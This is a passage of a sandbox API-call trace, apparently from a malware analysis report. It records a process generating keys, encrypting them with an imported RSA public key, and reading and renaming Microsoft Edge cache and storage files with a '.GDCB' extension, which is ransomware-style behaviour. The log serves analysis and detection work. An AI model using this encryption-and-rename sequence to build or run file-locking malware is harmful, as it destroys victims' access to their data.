phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7ef0) returned 1 [0284.988] CryptGetKeyParam (in: hKey=0x67a7ef0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.988] CryptEncrypt (in: hKey=0x67a7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.988] GetLastError () returned 0x0 [0284.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.988] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.990] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7f70) returned 1 [0284.990] CryptGetKeyParam (in: hKey=0x67a7f70, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.990] CryptEncrypt (in: hKey=0x67a7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.990] GetLastError () returned 0x0 [0284.990] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.990] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\fce27fce[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\fce27fce[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.992] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.995] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.997] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x972e, lpOverlapped=0x0) returned 1 [0285.016] VirtualAlloc (lpAddress=0x0, dwSize=0x9730, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0285.024] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\fce27fce[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\fce27fce[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\fce27fce[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\fce27fce[1].js.gdcb")) returned 0 [0285.026] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0285.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.031] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.031] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0285.031] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.031] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0285.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.037] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.037] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0285.037] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.037] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0285.039] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7d30) returned 1 [0285.039] CryptGetKeyParam (in: hKey=0x67a7d30, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0285.039] CryptEncrypt (in: hKey=0x67a7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0285.040] GetLastError () returned 0x0 [0285.040] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.040] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0285.041] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7cb0) returned 1 [0285.041] CryptGetKeyParam (in: hKey=0x67a7cb0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0285.041] CryptEncrypt (in: hKey=0x67a7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0285.042] GetLastError () returned 0x0 [0285.042] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.042] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0285.043] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0285.046] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0285.049] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x70a8, lpOverlapped=0x0) returned 1 [0285.080] VirtualAlloc (lpAddress=0x0, dwSize=0x70b0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0285.086] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\init[1].htm.gdcb")) returned 1 [0285.107] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0285.111] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.113] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.114] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0285.114] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.114] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0285.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.119] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.119] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0285.119] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.119] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0285.121] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67a7430) returned 1 [0285.121] CryptGetKeyParam (in: hKey=0x67a7430, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0285.121] CryptEncrypt (in: hKey=0x67a7430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0285.122] GetLastError () returned 0x0 [0285.122] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.122] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0285.123] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67a7a30) returned 1 [0285.124] CryptGetKeyParam (in: hKey=0x67a7a30, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0285.124] CryptEncrypt (in: hKey=0x67a7a30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0285.124] GetLastError () returned 0x0 [0285.124] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.124] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\DOMStore\\ETFMMWBM\\www.bing[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\domstore\\etfmmwbm\\www.bing[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0285.125] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0285.128] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0285.130] ReadFile (in: hFile=0x520, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285ced8*=0x147be, lpOverlapped=0x0) returned 1 [0285.164] VirtualAlloc (lpAddress=0x0, dwSize=0x147c0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0285.172] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\DOMStore\\ETFMMWBM\\www.bing[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\domstore\\etfmmwbm\\www.bing[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\DOMStore\\ETFMMWBM\\www.bing[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\domstore\\etfmmwbm\\www.bing[1].xml.gdcb")) returned 1 [0285.180] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0285.184] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.186] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.186] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0285.186] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.186] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0285.189] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.191] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.192] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0285.192] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.192] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0285.194] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67a78f0) returned 1 [0285.194] CryptGetKeyParam (in: hKey=0x67a78f0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0285.194] CryptEncrypt (in: hKey=0x67a78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0285.195] GetLastError () returned 0x0 [0285.195] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.195] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0285.197] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67a7d70) returned 1 [0285.197] CryptGetKeyParam (in: hKey=0x67a7d70, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0285.197] CryptEncrypt (in: hKey=0x67a7d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0285.197] GetLastError () returned 0x0 [0285.197] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.197] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\DOMStore\\P1T4DCFU\\www.msn[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\domstore\\p1t4dcfu\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0285.198] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0285.202] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0285.204] ReadFile (in: hFile=0x520, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285ced8*=0x2cb, lpOverlapped=0x0) returned 1 [0285.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0285.235] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\DOMStore\\P1T4DCFU\\www.msn[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\domstore\\p1t4dcfu\\www.msn[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\DOMStore\\P1T4DCFU\\www.msn[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\domstore\\p1t4dcfu\\www.msn[1].xml.gdcb")) returned 1 [0285.289] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0285.292] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.295] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.295] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0285.295] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.295] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0285.298] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.301] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.301] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0285.301] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.302] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0285.304] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x67a7e70) returned 1 [0285.304] CryptGetKeyParam (in: hKey=0x67a7e70, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0285.304] CryptEncrypt (in: hKey=0x67a7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285c984*=0x100) returned 1 [0285.304] GetLastError () returned 0x0 [0285.304] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.304] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4e48) returned 1 [0285.306] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x67a7df0) returned 1 [0285.306] CryptGetKeyParam (in: hKey=0x67a7df0, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0285.306] CryptEncrypt (in: hKey=0x67a7df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285c988*=0x100) returned 1 [0285.307] GetLastError () returned 0x0 [0285.307] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.307] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\spartan.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\spartan.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.322] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0285.325] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.327] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0285.327] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.328] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0285.330] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.332] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.333] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0285.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.334] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0285.336] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a73b0) returned 1 [0285.336] CryptGetKeyParam (in: hKey=0x67a73b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0285.336] CryptEncrypt (in: hKey=0x67a73b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd0c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0285.337] GetLastError () returned 0x0 [0285.337] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.337] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0285.339] CryptImportKey (in: 